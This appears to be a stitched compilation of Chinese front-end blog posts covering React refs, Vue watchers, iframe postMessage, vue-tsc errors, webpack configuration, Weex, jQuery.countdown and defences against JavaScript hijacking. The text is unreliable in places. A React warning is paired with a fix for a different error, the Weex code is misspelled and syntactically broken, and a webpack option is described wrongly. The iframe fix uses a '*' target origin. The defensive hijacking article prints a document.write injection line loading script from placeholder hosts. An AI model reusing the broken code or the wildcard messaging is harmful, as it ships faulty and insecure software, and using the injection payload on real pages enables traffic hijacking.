Warning: K: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.

警告：K:在未来的主要版本中，将从功能组件中删除对defaultProps的支持。请改用JavaScript默认参数。

解决方法：

 The error "Function components cannot have string refs" occurs when we use a string as a ref in a function component.

To solve the error use the useRef() hook to get a mutable ref object that you can use as a ref inside of the component.

import {useEffect, useRef} from 'react';

 

export default function App() {

  const refContainer = useRef(null);

 

  useEffect(() => {

    // 👇️ This is reference to input element

    console.log(refContainer.current);

 

    refContainer.current.focus();

  }, []);

 

  return (

    <div>

      <input type="text" id="message" ref={refContainer} />

    </div>

  );

}

import {useEffect, useRef} from 'react';

 

export default function App() {

  const refContainer = useRef(null);

 

  const refCounter = useRef(0);

 

  useEffect(() => {

    // 👇️ This is reference to input element

    console.log(refContainer.current);

    refContainer.current.focus();

 

    // 👇️ Incrementing ref value does not cause re-render

    refCounter.current += 1;

    console.log(refCounter.current);

  }, []);

 

 

  return (

    <div>

      <input type="text" id="message" ref={refContainer} />

    </div>

  );

}

 

使用方法

watch：{

  data (n, m) {

   n: 变更后的数据

   m：变更前的数据

  }

}

以上方法 只有在数据发生改变的时候 才能监听到 这个时候 提供了参数 immediate 立即执行监听内的函数

使用方法

watch：{

  data (n, m) {

   n: 变更后的数据

   m：变更前的数据

  },

  immediate: true

}

如果遇到监听对象 以上的方法是无法实现的 那么我们就要监听对象内部参数 则watch 提供了 deep 参数 代表深入观察 

实现方法

watch：{

  object (n, m) {

   n: 变更后的数据

   m：变更前的数据

  },

  deep: true

}

以上使用 deep 方法的话 能实现想要的 但是~ 这样太麻烦了 因为这样的watch 会一层一层的查找 object  那么我们直接点找到想监听的对象key 就好了

使用方法

watch：{

  ‘object.key’ (n, m) {

   n: 变更后的数据

   m：变更前的数据

  }

}

以上直接找到 利用字符串形式 完美解决

还有一种就是监听 store 就没办法用上面的直接监听了 那么我们利用计算属性来

实现如下

computed: {

  data () {

    return this.$store.getters.obj

  }

}

获得data  再对data进行监听 完美解决

watch：{

  data (n, m) {

   n: 变更后的数据

   m：变更前的数据

  }

}

 Uncaught SecurityError: Failed to read a named property 'href' from 'Location': Blocked a frame with origin "http://localhost:9529" from accessing a cross-origin frame.

    at ./src/main.js (main.js:127:23)

    at __webpack_require__ ((索引):99:30)

    at 0 (templateLabelConfig.vue:1:1)

    at __webpack_require__ ((索引):99:30)

    at checkDeferredModules ((索引):65:23)

    at Array.webpackJsonpCallback [as push] ((索引):52:19)

    at app.1736758244600.js:1:57

解决方案：

//主页面 向 iframe传递事件//主页面

var frame = document.getElementById('iframeId');frame.contentWindow.postMessage(object,'*');

//iframe页面iframe: window.addEventListener('message',function(event){    //此处执行事件})

//iframe向主页面传递事件

//iframe页面window.parent.postMessage(object,'*');//主页面window.addEventListener('message',,function(event){         //此处执行事件})

 D:\Camnpr git:[dev]

npm run build

> vite1@1.0.0 build

> pnpm run type-check && pnpm run build-only

> vite1@1.0.0 type-check D:\Camnpr 

> vue-tsc --noEmit

src/main.ts:10:33 - error TS7016: Could not find a declaration file for module '../package/dist/vue-web-component-wrapper.es.js'. 'D:/Camnpr/package/dist/vue-web-component-wrapper.es.js' implicitly has an 'any' type.

10 import createWebComponent  from '../package/dist/vue-web-component-wrapper.es.js'

                                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Found 1 error in src/main.ts:10

 ELIFECYCLE  Command failed with exit code 2.

解决方案：

在tsconfig.json文件中添加配置：

"noImplicitAny": false,
"allowJs": true

配置后，使用import "xxx" from "xxx" 语句也不会报错了。

 > vue-tsc --noEmit

D:\WorkSpace\xxx\node_modules\vue-tsc\bin\vue-tsc.js:68

                        throw err;

                        ^

Search string not found: "/supportedTSExtensions = .*(?=;)/"

(Use `node --trace-uncaught ...` to show where the exception was thrown)

Node.js v20.18.1

 ELIFECYCLE  Command failed with exit code 1.

解决方案

翻了下该 Issue，有人给出了 bug 的来源 vuejs/language-tools#5018，点进去看看，该 Issue 日期（2024年11月24日）。

Issue 中也有人给出了解决方法，自己尝试了是可行的。

vue-tsc 版本切换成固定的 2.0.29

typescript 版本切换成固定的 5.6.2

{

  "scripts": {

    "build": "vue-tsc -b && vite build"

  },

  "devDependencies": {

    "vue-tsc": "2.0.29",

    "typescript": "5.6.2",

    "vite": "^5.4.10",

    "@vitejs/plugin-vue": "^5.1.4"

  }

}

最后重新安装依赖即可

CLI( 命令行)

如果你用命令行，命令行会读取一个叫webpack.config.js（或者用 –config 选项传入的一个配置文件）的文件。这个文件应该导出一个配置对象，如下：

module.exports = {     // configuration };

node.js API

如果 你用node.js API，你需要把配置文件作为一个参数，传给webpack。如下：

webpack({     // configuration }, callback);

混合配置

在两种情况下，你都可以用一个配置对象的数组，它们是并行进程的。它们共用文件系统的缓存和监控，所以这是一种比多次调用webpack更高效的办法。

config 对象内容

提示：记住你不需要写纯粹的JSON到配置文件中。javascript随便用。webpack只是一个node.js 模块…

一个最简单的配置对象如下：

{     context: __dirname + "/app",     entry: "./entry",     output: {         path: __dirname + "/dist",         filename: "bundle.js"     } }

下面开始解释这些配置项了。

context

这是entry配置项的根目录（绝对路径）。如果output.pathinfo也设置了，它的pathinfo是基于这个根目录。

entry

包的入口。 
如果你传入一个字符串：这个字符串作为主模块的启动点。（本句翻译待考） 
如果你传入一个数组，数组中所有模块都会启动，但最后一个会被导出。

entry:["./entry1","./engtry2"]

如果你传入一个对象：会创建多个入口包。key就是 块（chunk）名字。value就是一个字符串或者一个数组。

{     entry: {         page1: "./page1",         page2: ["./entry1", "./entry2"]     },     output: {         // Make sure to use [name] or [id] in output.filename         //  when using multiple entry points         filename: "[name].bundle.js",         chunkFilename: "[id].bundle.js"     } }

注意：你不可能在其它配置项中设置入口点。如果你需要特殊配置入口点，你需要用到上面提到的混合配置。

output

影响编译输出的配置项。 output配置项告诉webpack怎么把编译后的文件写入磁盘。注意，如果用多入口配置，只会一个能被指定output。

如果你用了hshing([hash]或者[chunkhash])，请先确保有一个指定的模块排序。用OccurrenceOrderPlugin 或者 recordsPath。

output.filename

指定每一个输出文件的存盘文件名。这里你不必指定绝对路径。output.path才是用来指定文件路径的配置项。filename 是单独给文件命名的。

单入口

{   entry: './src/app.js',   output: {     filename: 'bundle.js',     path: './built'   } }  // writes to disk: ./built/bundle.js

多入口 
如果你的配置创建了多个“块”（多入口点或者用了像CommonsChunkPlugin），你应该换成下面这样的配置来确保每一个文件都有一个特有的文件名。 
[name] 会被块名替换掉。 
[hash]会被编译的hash替换掉。 
[chunkhash]会被块的hash替换掉。

{   entry: {     app: './src/app.js',     search: './src/search.js'   },   output: {     filename: '[name].js',     path: __dirname + '/built'   } }  // writes to disk: ./built/app.js, ./built/search.js

output.path

输出目录，必须是绝对路径。 
[hash]会被编译hash替换掉。

output.publicPath

当浏览器需要引用输入出文件时， 这个配置项指定输入文件的公共URL地址。在loader中它被嵌入到script 或者 link 标签或者对静态资源的引用里。当文件的href 或者 url()与它在磁盘 上的路径 不一致时publicPath ，就应当用·publicPath(像path一样指定) ，这在你想定义把一些或者所有文件放在不同的主机或CDN上时会非常有用。webpack dev server 也是用publicpath决定输出文件从哪里公开。和 path 一样，你可以用 [hash] 替换缓存文件。 
config.js

output: {     path: "/home/proj/public/assets",     publicPath: "/assets/" }

index.html

<head>   <link href="/assets/spinner.gif"/> </head>

一个更加复杂的例子，使用CDN和hash 资源。

config.js

output: {     path: "/home/proj/cdn/assets/[hash]",     publicPath: "http://cdn.example.com/assets/[hash]/" }

注意：如果最终的 publicPath 不能确定在编译时不能确定，你可以留白在运行时在入口文件中动态设置。如果在编译时不知道publicPath你可以忽略它并设置在入口文件中设置 __webpack_public_path__。

__webpack_public_path__ = myRuntimePublicPath  // rest of your application entry

output.chunkFilename

它是 output.path 目录中作为相对路径的非入口chunk的文件名 。 
[id] 会被chunk的id替换掉。 
[name] 会被chunk的name替换掉（如果没有名字，会被id替换）。 
[hash] 会被编译的hash替换掉。 
[chunkhash] 会被 chunk hash替换掉。

output.sourceMapFilename

javascript 的sourceMap文件的文件名。它会被放在 output.path 目录下。 
[file] 会被javascript的文件名替换掉。 
[id] 会被 chunk id替换掉。 
[hash] 会被 编译hash替换掉。

Default: “[file].map”

output.devtoolModuleFilenameTemplate

在 sourceMap中生成source array是用函数来做的。这个配置项就是这个函数所在的文件名模板字符。 
[resource] 会被webapck 用来解析文件的路径替换掉，如果有Loader也包括loader最右边的query参数。 
[resource-path]] 跟 resource配置项一样，只是不会带query参数。 
[loaders] loader列表，带最右边的参数（明确的Loader）。 
[[all-loaders] loader列表，带最右边的参数（包括自然生效的loader）。 
[id] 会被 模块id替换掉。 
[hash] 会被 模块唯一标识符替换。 
[hash] 会被 文件的绝对路径文件名替换。

也可以定义为一个函数而不是 字符串模板。这个函数会接收 info 对象，这个Info对象曝露了一下属性： 
1. identifier 
2. shortIdentifier 
3. resource 
4. resourcePath 
5. absoluteResourcePath 
6. allLoaders 
7. query 
8. moduleId 
9. hash

output.devtoolFallbackModuleFilenameTemplate

跟 output.devtoolModuleFilenameTemplate 很像。但是是用在混合模块儿标识中。

Default: “webpack:///[resourcePath]?[hash]”

output.devtoolLineToLine

能给所有或者指定模块设置为行到行的map模式。行到行map模式用一个简单的 sourcecMap , 在这个sourceMap 中每行生成的文件映射到同一行的源文件。这是一个性能优化。只有当你需要更好的性能或者你确定输入的行和生成 的行匹配，你再这么做。 
true 使它对所有module有效（不推荐）。 
一个对象{test，include,exclude} 同module.loaders 很像，对指定的文件设置有效。

Default:disabled

output.hotUpdateChunkFilename

热更新的Chunk 文件名。他们在 output.path 目录中。 
[id] 会被chunk的id替换掉。 
[hash] 会被编译的hash替换掉。（最后一次的hash会被存储在记录中）

Default: “[hash].hot-update.json”

output.jsonpFunction

webpack用来异步加载chunk的JSONP 函数。 
一个小函数或许可以减少一点文件的大小。 当一个单页面上有多个webpack实例时，使用不同的标识符。

Default: “webpackJsonp”

output.hotUpdateFunction

webpack用来异步加载热替换chunk的JSONP 函数。

Default: “webpackHotUpdate”

output.pathinfo

如果设置了，将包导出为库。 output.library 就是库的名字。 
如果你写了一个单库，并且想把它以单文件形式发布的话，可以用它。

output.libraryTarget

格式化导出库。 
"var" 通过设置一个变量导出：var Library =xxx (默认)

"this" 通过设置一个this的属性导出：var Library =xxx

"commonjs" 通过设置一个exports 的一个属性导出: exports["Library"] = xxx

"commonjs2" 通过设置一个module.exports 导出: module.exports=xxx

"amd" 导出到AMD(随便命名 -通过library选项来设置 名称)

"umd" 导出到AMD，CommonJS2或者作为root的一个属性。

Default: “var” 
如果 output.library 没设置，但是output.library 设置了除var以外的值，exports对象的每一个属性都 会被复制（除了amd,commonjs2和umd）

output.umdNamedDefine

如果 output.libraryTarget 设置为umd 而且output.library 也设置了。这个设为true，将为AMD模块命名。

output.sourcePrefix

给bundle资源的每一行前面加上这个字符串。

Default: “\t”

output.crossOriginLoading

这一项的设置可以允许跨域加载 chunks。 
可能的值为： 
false 不允许跨域加载。 
anonymous 启用跨域加载。当用anonymous 时，请求中没有安全证书发送。 
use-credentials 启用跨域加载。请求中安全证书会发送。

Default: false

module

影响正常模块的选项

module.loaders

一个自动运用的 loader数组。 
每一个都可以有以下几个属性。 
* test :一个必须满足的条件 
* exclude : 一个排除的条件 
* include : 要用Loader转换的导入文件的路径数组。 
* loader : 一个用“！”隔开 loader的字符串。 
* loaders : 一个loader字符串的数组。

一个条件可以 是正则表达式(tested against absolute path)，或者是一个包含绝对路径的字符串，或者一个函数function(absPath): bool ，或者一个数组 用“and”连接这些的数组。

重要：这里Loader的resolved相对于它们应用的的资源的路径。这意味着它们不是相对 配置文件的路径 。如果你已经用npm 安装过loader而且 你的 node_ｍoudles文件夹不在所有源文件的父文件夹中，webpack会找不到 loader.你需要添加 node-modules文件夹,作为 resolveLoader.root 选项的绝对路径。 
例如：

module: {   loaders: [     {       // "test" is commonly used to match the file extension       test: /\.jsx$/,        // "include" is commonly used to match the directories       include: [         path.resolve(__dirname, "app/src"),         path.resolve(__dirname, "app/test")       ],        // "exclude" should be used to exclude exceptions       // try to prefer "include" when possible        // the "loader"       loader: "babel-loader"     }   ] }

module.preLoaders, module.postLoaders

语法跟 module.loaders 一样。 
一个在运用loader之前（后）的loader数组。

resolve

影响模块的解决方案。

resolve.alias

用其它模块或者路径替换一个模块。 
预期是一个对象，这个对象的key是模块的名称，value是一个新的path。它类似于一个替换，但更聪明一点。 
如果key 以结尾,只有精确的部分（不包括结尾,只有精确的部分（不包括）会被替换掉。 
如果value 是一个相对路径，模块将与包含它的文件的路径有关。

如果在package.json中有定义入口文件，index.js或许会被查到到其它文件。

resolve.root

包含你的模块的目录（绝对路径）。也可能是目录的数组。需要将单个目录添加到搜索路径的情况下，才用这个设置。

注意： 它必须是绝对路径，请不要传像./app/modules 这样的相对路径。 
例：

var path = require('path');  // ... resolve: {   root: [     path.resolve('./app/modules'),     path.resolve('./vendor/modules')   ] }

resolve.modulesDirectories

一个目录数组。这个目录将解析给当前目录以及它的祖先目录，在这里查找模块。它的功能类似于 node 的 node_modules目录。例如，如果把它设置为["mydir"],webpack 会查找“./mydir”,”../mydir”,”../../mydir”等。

默认值为：["web_modules", "node_modules"] 
注意：在这里，不必要传入像"../someDir", "app", "." 或者绝对路径之类的值。只需要用一个目录名，不要用路径。当你的层次结构中有 这个文件夹时再用这个，要不然你最好是用 resolve.root 选项。

resolve.fallback

一个目录(或者目录绝对目录的数组)。如果webpack 在 resolve.root 或者 resolve.modulesDirectories 实在找不到某个模块了，会去这个（些）目录中找。

resolve.extensions

一个包含模块扩展名的数组。例如，为了发现CoffeeScript 文件，你的数组应该包含字符串".coffee"。

Default: ["", ".webpack.js", ".web.js", ".js"] 
注意：设置了这个选项，会取代默认的模块扩展名。重要的事情说三遍：意味着webpack不再用默认扩展名查找模块，意味着webpack不再用默认扩展名查找模块，意味着webpack不再用默认扩展名查找模块。如果你想正确加载一个带有扩展名的模块，你必须把一个空字符串放在你的数组里。如果你想不要扩展名来加载一个js文件，你需要将“.js”加入你的数组。

resolve.packageMains

在package.json中查找符合这些字段的文件

Default: [“webpack”, “browser”, “web”, “browserify”, [“jam”, “main”], “main”]

resolve.packageAlias

在package.json中查询对象里的字段，键值对是按照这个规范的别名来进行的

Not set by default

比如”browser”会检查browser字段

resolve.unsafeCache

启用不安全的缓存来解析一部分文件。改变缓存路径也许会导致出错（罕见情况下）。 一个正则表达式数组里，只有一个正则或只有一个为true（对应全部文件）是最好的实践 。如果解析路径匹配，就会被缓存。

Default: []

resolveLoader

跟 resolve很像，但是是为loaders准备的。

// Default: {     modulesDirectories: ["web_loaders", "web_modules", "node_loaders", "node_modules"],     extensions: ["", ".webpack-loader.js", ".web-loader.js", ".loader.js", ".js"],     packageMains: ["webpackLoader", "webLoader", "loader", "main"] }

注意，你可以用alias，其他特性和resolve相似。例如 设置了alias中的{txt: ‘raw-loader’｝， txt!templates/demo.txt 结果会用 raw-loader解析。

resolveLoader.moduleTemplates

这是resolveLoader 唯一的属性。它描述了尝试的模块名称的替代名

Default: [“-webpack-loader”, “-web-loader”, “-loader”, ““]

externals

指定的依赖不会被webpack解析，但会成为bundle里的依赖。output.libraryTarget.决定着依赖的类型。值是对象，字符串，函数，正则，数组都会被接受。

字符串：一个精确匹配的依赖会变成externals依赖，同一字符串会被用于externals依赖。 
对象：如果依赖精确匹配到了对象的一个属性，属性值就会被当作externals依赖。属性值可以包含一个依赖型的前缀，用一个空格隔开。如果属性值为true，则使用该属性名。如果属性值为false，外部测试失败，这个依赖是内部依赖。见下面的例子。

函数：function(context, request, callback(err, result))。函数会在每个依赖中调用。如果结果被传递到回调函数里，这个值就会被像处理对象属性值那样处理。

正则表达式：每个被匹配的依赖都会成为外部依赖。匹配的文本会被用作外部依赖的请求。因为请求是用于生成外部代码钩子的确切代码，如果你匹配到一个cmd的包(比如 ‘../some/package.js’),相反使用外部function的策略。你可以通过callback(null, “require(‘” + request + “’)”引入包，这个包生成module.exports = require(‘../some/package.js’);使用要求在webpack上下文外。

数组：这个表的多个值(递归)

{     output: { libraryTarget: "commonjs" },     externals: [         {             a: false, // a is not external             b: true, // b is external (require("b"))             "./c": "c", // "./c" is external (require("c"))             "./d": "var d" // "./d" is external (d)         },         // Every non-relative module is external         // abc -> require("abc")         /^[a-z\-0-9]+$/,         function(context, request, callback) {             // Every module prefixed with "global-" becomes external             // "global-abc" -> abc             if(/^global-/.test(request))                 return callback(null, "var " + request.substr(7));             callback();         },         "./e" // "./e" is external (require("./e"))     ] }

如果没有作为amd/umd的目标解析，将会用一个external 值强制执行amd或者umd。

注意，如果用umd你可以指定一个对象的额外值，属性为 commonjs, commonjs2, amd和root会被设置不同的值。

target

• “web” 在浏览器中使用的编译环境（默认值）
• “webworker” 被作为webworker编译
• “node” 在nodejs环境下编译(用require加载chunks)
• “async-node” 在nodejs环境下编译(用fs和vm异步加载chunks)
• “node-webkit” 在webkit下使用jsonp加载chunk，也支持在node中加入require(“nw.gui”) （实验性质）
• “electron” 为 Electron 编译。
• “electron-renderer” 为 Electron 渲染进程编译。

bail

报告第一个错误为硬性错误，不可忽略。

profile

定时在每个模块捕捉信息。

提示，用analyze tool让它可视化，–json 或者 stats.toJson()会给你JSON的统计。

cache

缓存生成模块和和chunks来提高混合增l量编译时的性能。 
启用watch模式会默认启动它。 
可以传入 false禁用它。 
你可以传递一个对象启用它并且让webpack把传递的对象作为缓存。用这种办法，你可以在混合编译器的编译回调中共享缓存。注意：不要在多配置的回调中共享缓存。

debug

把loader的模式切到debug。

devtool

选一个开发工具来加快调试

• eval 每个模块都用eval执行
• source-map 触发SourceMap，详情看output.sourceMapFilename
• hidden-source-map 同上，但不会在包中添加引用注释。
• inline-source-map SourceMap被作为dataurl加入到js文件中。
• eval-source-map 每个模块都用eval执行，并且SourceMap被作为dataurl加入到eval中。
• cheap-source-map 没有映射的sourcemap，loaders的sourcemap不会启用。

• cheap-module-source-map 没有映射的sourcemap，sourcemap就简单的映射到每一行。

  @,#或者#@前缀 将强行显示编译指示。（webpack@1版本中默认用@，webpack@2版本中默认用#，建议用#） 
  例如： cheap-module-inline-source-map, cheap-eval-source-map, #@source-map

  如果你的模块已经包含了sourcemap，你需要用source-map-loader合并被触发的sourcemap

例如：

{     devtool: "#inline-source-map" } // => //# sourceMappingURL=...

注意，下一个大的版本默认加-d，将会变为cheap-module-eval-source-map。

devServer

当这个webpack config 传给webpack-dev-server命令行时，这个选项用来 配置 webpack-dev-server的一些行为。 
例如

{     devServer: {         contentBase: "./build",     } }

node

为不同节点包含polufills或者mocks。

• console: true or false
• global: true or false
• process: true, “mock” or false
• __filename: true (real filename), “mock” (“/index.js”) or false
• __dirname: true (real dirname), “mock” (“/”) or false
• < node buildin >: true, “mock”, “empty” or false

// Default: {    console: false,    global: true,    process: true,    Buffer: true,    __filename: "mock",    __dirname: "mock",    setImmediate: true }

amd

设置require.amd和 define.amd的值 
例如： amd:{jquery:true} （为旧的 1.x AMD版本的jQuery）

loader

在loader上下文中可以自定义。

recordsPath, recordsInputPath, recordsOutputPath

从一个JSON文件中存入或者读取 编译器 state。这将导致 模块或chunk的id持久化。 
期望是绝对路径，recordsPath 被用于recordsInputPath 和recordsOutputPath，如果他俩未定义。 
当使用热替换之间的多个调用编译器的时候，这个选项是必须的。

plugins

向编译器添加额外的插件。

求关注​

Weex这个名字，已经响亮好久了。如果你是新来的，那么也不算太迟，毕竟它的坑填了不少了。直接用 Weex v2就好。

那么什么是Weex呢？

官方的解释可以到 https://weex.apache.org/cn/guide/ 来细看。

我的理解是：它是一个技术，通过js代码，结合客户端集成的SDK（Weex）、JS引擎来解析你的js文件，渲染出页面。如果你要和客户端的原生交互，只要让Android和IOS开发的人，继承Weex SDK 来写一个module，然后JS前端通过，weex这个变量，来调用写的module，就打通了JS前端和客户端直接的交互。

其实，Weex就是一个中间桥梁，连接前端和客户端。

纯H5的应用，不管是效果还是性能，和原生的APP还是差别很大的。 原来，Facebook异想天开的，让H5一统天下（三端通吃：PC、Android、IOS），结结实实的失败告终。

Hbuilder这种的，比Weex早，不知道现在怎么样了。

不知道，上边说的，够不够明白。

Weex​

​那我们来看一下原生弹窗的大致代码实现吧。（脚手架的项目框架，后边会说）

第一：在Vue页面中，Script标签里

// 调用Android自定义的模块

const myModule = weex.requireModual("myModule");

// 调用Weex内置的模块

// https://weex.apache.org/cn/references/modules/modal.html

const modal = weex.requireModual("modal");  

modal.toast({message: '头条号：那些曾经放任的时光'); // 原生的小浮层提示

第二：执行打包（webpack）命令

项目目录下cmd>npm run build

打包后在dist目录下生成了2个文件，如图：

weex打包js bundle

如图所示，同一个vue页面，会打包出一个JS Bundle（原生调用的）和一个Web调用的。

第三步：把js文件拷贝到android/ios项目里。

项目目录里有一个platforms文件夹，一开始是空的。

你只需要，cmd>weex paltform add android 即可在目录中生成android项目。

然后，你可以通过 Android Studio 3.0 来打开刚生产的项目。

把上一步打包的js文件，拷贝到这里，如图所示：

打开Android Studio项目

如上图所示，就完成，JS前端 到 客户端的拷贝流程 （如果客户端是集成环境，只需要把 Weex SDK引入就可以，详情就查阅官方文档）

第四步：发布APK来预览

在Android Studio里，打开菜单栏的：Build>Build APK(s) 来生产apk安装文件。

然后，拷贝到手机里，点击安装即可。

apk是一个Weex playground，即可预览。

关于，如何通过脚手架构建项目，这里就不细说了。概况如下：

安装 weex-toolkit，使用weex命令 weex create projectName

至此，就简单介绍完了Weex的一些心得体会，如有不对的，还请告知。

如果能够帮忙到你，还请，关注我，点赞，分享，收藏。

首先，这个倒计时功能，一定要友好，具体表现在，可以适用任何布局，不依赖HTML/CSS的限制，有针对性的，适应优惠券、拍卖类型的网站。接下来，才是日期时间的倒序来跑秒。

源于，jQuery的大量使用，这里，推荐一款它的插件：jQuery.countdown.js。

倒计时插件：jQuery.countdown.js

题外话：这个图里的“最后”，是字面意思，其实是终极、人性化、友好的意思。

那么什么是jQuery.countdown.js呢？

它是一个简单的和HTML无关的日期倒计时插件，依赖jQuery1.7+。

浏览器支持情况：IE7+、Chrome>=12、Safari>=5、FireFox>=5.0，也就是说，基本都支持的。

它的开发初衷，就是为了适应任何的优惠券、拍卖、商品促销活动。因此，它的使用和呈现灵活度很高。

那么怎么使用它呢？

首先，你需要到github上搜索：jQuery.countdown.js，然后引入页面中。如下图说明：

jQuery.countdown.js的使用步骤和效果

从上图的代码中，我们可以看到，它和HTML无关的意思了，你可以任意组合显示的方式，它会填充你的%w、%d、%H、%M、%S。

它还有很多配置选项，很多用法，比如：倒计时秒结束后正常时间钟等。

我们用插件还能得到什么？

如果你只是为了实现某个功能，那么插件就可以达到的，我们还能获取什么呢？ 这里，我想说的是，如果时间足够的话，不妨看一下插件或者js库的源码，学习或者增强一下自己的知识点。

比如本插件中，有这么一句：

var argumentsArray = Array.prototype.slice.call(arguments, 0);

我们知道，arguments是函数的参数对象。它是数组吗？

不是的，它是一个类数组。

类数组：具有key名为：length，值为数字，其它key，也是数字，类似这样：'0'、'1'...

你可以像数组那样（arguments[0]）使用。但是，你应该转换为真正的数组（这要是前端面试的常见题）。

还比如本插件中，有这样的语句：

var DIRECTIVE_KEY_MAP = {Y:"years", m:"months",...}

这种key简称图的方式，是不是更方便简洁。

这里只是，抛砖引玉，你可以发现更好玩的。有空赶紧试试吧。

【本文由“码农不是农”发布，2017年06月07日】

javascript劫持属于HTTP劫持中的一种，主要是劫持js文件，然后在网页中通过js脚本往网页中注入图片和链接或者框架广告，也叫流量劫持。 文明一点的劫持只是右下角放一个固定广告，不文明的就自动弹出新广告窗口（一般会被浏览器拦截）或者给整个网页添加点击事件弹出新广告页面。

javascript劫持套路

1、document.write注入

假如页面中正常请求的是a.js，a.js请求被劫持后返回的脚本就可能是这样的：

document.writeln('<script type="text/javascript" src="http://www.xxx.com/a.js?tcdsp=true"><\/script>');document.write('<script type="text/javascript" src="http://www.bbb.com/ad.js"><\/script>');document.write('其他脚本标签或字符');

因为要保证页面正常，所以劫持者会还原a.js请求，为了避免死循环，所以在被劫持的js请求里添加特定的参数作区别，同时插入自己的js广告文件链接。 案例查看01_write.html

对策：过滤document.write,document.writeln字符

重写这两个方法，并在字符串中正则匹配完整script标签，并提取scr对比白名单，符合的就写入script标签。其他文本或标签全部忽略。 缺点：杀伤力过强。如果document.write把字符分开多次写入会漏检查或者说绕过检查。 注意：文档中尽量不要使用document.write\writeln形式插入标签！ 保护文件01_write_guard.html

2、HTMLElement.innerHTML注入

通过innerHTML可以注入各种标签。 案例查看02_innerHTML.html

对策：过滤innerHTML注入标签不能是框架和script。

重写HTMLElement.innerHTML方法，并在字符串中正则匹配/<(i?frame|script).+?<\/\1>/gi并过滤掉。 缺点：非法的图片和链接等没有过滤。也不能简单提取字符中的链接地址比较，因为很可能会误杀。所以其他标签等其生成后再逐个逐个检查。 注意：建议iframe不要通过innerHTML生成！ 保护文件02_innerHTML_guard.html

3、HTMLElement.appendChild、HTMLElement.insertBefore注入

通过appendChild、insertBefore可以注入各种标签。 案例查看03_appendChild.html

对策：限制appendChild、insertBefore插入某些标签，比如iframe|frame|link|style|audio|video|embed|object按实际情况调整。

重写HTMLElement.appendChild、insertBefore方法，检查到指定的标签禁止插入。并改写HTMLElement.replaceChild方法转到insertBefore方法上检查。插入的标签并检查其style是否含有非法连接。 缺点：无法检查其绑定事件是否非法，这是防劫持最难的部分。 注意：建议iframe|frame|link|style严禁创建这些标签，禁用link|style的目的是避免注入者使用背景图片来显示广告内容！ 保护文件03_appendChild_guard.html

4、修改src或href劫持现有标签

因禁止直接插入firame，那么劫持者可能会通过修改现有iframe或img或a的href达到劫持目的。 案例查看03_appendChild.html

对策：针对img|script|iframe|frame|a标签修改src或href的值进行过滤。

这些标签在节点生成前需要检查其src值是否合法。或者是已经存在的节点需要修改src也需要检查其合法，不合法将还原其赋值。 缺点：部分src、href值是否合法比较难界定，如href="javascript:..."或者图片src="data:images/..."等。 注意：script必须赋值前就过滤，赋值后再删除已经没有意义了，代码已经存入内容并已经执行了。img,a标签事后删除倒没影响。 保护文件03_appendChild_guard.html

5、修改现有标签style和绑定事件弹出窗口

形成广告还有一种另类的方法，就是使用div等块标签通过样式使用背景图片来实现。并添加点击事件使用window.open弹出窗口。 案例查看05_modifyStyle.html

对策：监听属性修改，重写window.open方法。

对所有标签监听style,href,src属性的修改，发现非法链接地址将还原属性。并对window.open方法重写，阻止非法链接弹出。 缺点：因location.href,location.replace,location.assign方法都是只读，不能进行重写来排除非法链接。不过劫持者如果非要替换本页面来达到广告目的也失去了原来的意义。 注意：如果自己也有广告弹出，必须非常小心过滤规则。 保护文件05_modifyStyle_guard.html

6、文档末内注入广告脚本

html文件同样会被劫持，所以源代码被注入广告脚本也是很正常，虽然超出js劫持范围。 案例查看06_html.html

对策：如果注入的广告元素在本防劫持脚本之后，还是有点希望可删除的。通过window.MutationObserver监视DOM变动事件，逐个节点判断是否合法。

window.MutationObserver是监视DOM变动完成后执行的方法，包括节点元素属性变化。如果有多次变化会等所有变化完成后再执行，从性能上保证节点变化中途不影响。 缺点：大部注入节点都可顺利删除，但script标签一旦加载完成再删除节点是没有任何意义。还有无法阻止iframe被赋值到非法网站中。 注意：尽量不要在页面中使用iframe框架。 保护文件06_html_guard.html

7、添加integrity属性

2014年3月18日，W3C发布子资源完整性 (Subresource Integrity) 的标准工作草案。子资源完整性（Subresource Integrity）规范定义了一种机制，用户代理（如浏览器）可以通过验证所获取到的资源文件是否经过篡改，保证获得资源的完整性。如果判断到下载的资源存在可能被篡改，浏览器将不执行此文件。

<script src="https://code.jquery.com/jquery-1.10.0.min.js"><script src="https://code.jquery.com/jquery-1.10.2.min.js"integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg=" crossorigin="anonymous">

如上，浏览器下载了jquery-1.10.0.min.js将立刻执行脚本，哪怕是通过染毒的DNS恶意服务器里下载已经被篡改过的文件。而jquery-1.10.2.min.js下载后，浏览器将立即计算该脚本的哈希值并与脚本”integrity”属性标签中的哈希值作比较。如果二者不吻合，那么可以确定脚本已被篡改过，则浏览器就不会运行它。 而crossorigin属性则是浏览器用于限制对非同源资源的使用规则，crossorigin="anonymous"表示匿名CORS，如果使用crossorigin="use-credentials"表示带认证的CORS。而CORS问题请参考Access-Control-Allow-Origin相关资料。 现在只有　Chrome 和 Firefox 对这两个属性的完全支持。

8、Content Security Policy

W3C的Content Security Policy，简称CSP。主要是用来定义页面可以加载哪些资源，减少XSS的发生。 Chrome扩展已经引入了CSP，通过manifest.json或meta中的content_security_policy字段来定义。完全可以隔离远程的js,iframe,img,css等脚本的执行或加载。

<meta http-equiv="Content-Security-Policy" content="default-src 'self' googlechrome.github.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'" />

更多查看(Content Security Policy)

9、防止网页被Frame

通常可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫frame busting。

if(self != top){top.location = location.href;}

一般来说我们都可以使用此脚本阻止本页面被Frame嵌套，但是在IE8及以下location对象可重置，当成普通变量（其他浏览器不能重设此变量），从而使此段代码失效。

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在frame,iframe或者object中展现的标记。

换一句话说，如果设置为 DENY，不光在别人的网站 frame 嵌入时会无法加载，在同域名页面中同样会无法加载。另一方面，如果设置为 SAMEORIGIN，那么页面就可以在同域名页面的 frame 中嵌套。

• 配置 Apache

Header always append X-Frame-Options SAMEORIGIN

• 配置 nginx

add_header X-Frame-Options SAMEORIGIN;

• 配置 IIS

<system.webServer>  ...  <httpProtocol>    <customHeaders>      <add name="X-Frame-Options" value="SAMEORIGIN" />    </customHeaders>  </httpProtocol>  ...</system.webServer>

